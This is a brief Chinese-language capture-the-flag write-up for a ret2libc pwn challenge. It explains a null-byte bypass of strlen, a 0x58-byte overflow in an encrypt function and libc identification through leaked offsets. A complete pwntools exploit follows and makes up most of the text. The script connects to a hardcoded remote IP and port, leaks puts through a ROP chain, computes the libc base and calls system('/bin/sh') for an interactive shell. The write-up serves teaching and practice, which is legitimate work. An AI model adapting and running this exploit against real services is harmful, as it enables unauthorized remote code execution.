此题为ret2libc题型，考察了strlen绕过的方式('\x00'空字符)
发生溢出的在encrypt函数里：
动态调试测出溢出量为0x58bytes：
远端泄露几个常用函数offset确定libc版本：
注意每一次返回主函数都要重新输入1进入加密函数，此外本题环境为Ubuntu18需注意栈对齐
故编写exp：
from pwn import *
# context(log_level='debug',os='linux',arch='amd64',terminal=['tmux','splitw','-h'])
# io=process("./pwn2")
elf=ELF("./pwn2")
io=remote("1.14.71.254",28295)
libc=ELF("./libc-2.27.so")
puts_plt=elf.plt[b"puts"]
puts_got=elf.got[b"puts"]
pop_rdi_addr=0x400c83
start_addr=0x400790
ret_addr=0x4006b9
io.sendline(b'1')
payload=b'\x00'+cyclic(0x57)+p64(pop_rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(start_addr)
# gdb.attach(io)
# pause()
io.sendline(payload)
puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc_base=puts_addr-libc.sym[b"puts"]
print("puts_got: "+hex(puts_got))
print("puts_addr: "+hex(puts_addr))
print("puts_offset: "+hex(libc.sym[b"puts"]))
print("str_bin_sh: "+hex(next(libc.search(b"/bin/sh"))))
print("libc_base: ",hex(libc_base))
sys_addr=libc_base+libc.sym[b"system"]
bin_addr=libc_base+next(libc.search(b"/bin/sh"))
io.sendline(b'1')
payload=b'\x00'+cyclic(0x57)+p64(ret_addr)+p64(pop_rdi_addr)+p64(bin_addr)+p64(sys_addr)
io.sendline(payload)
io.interactive()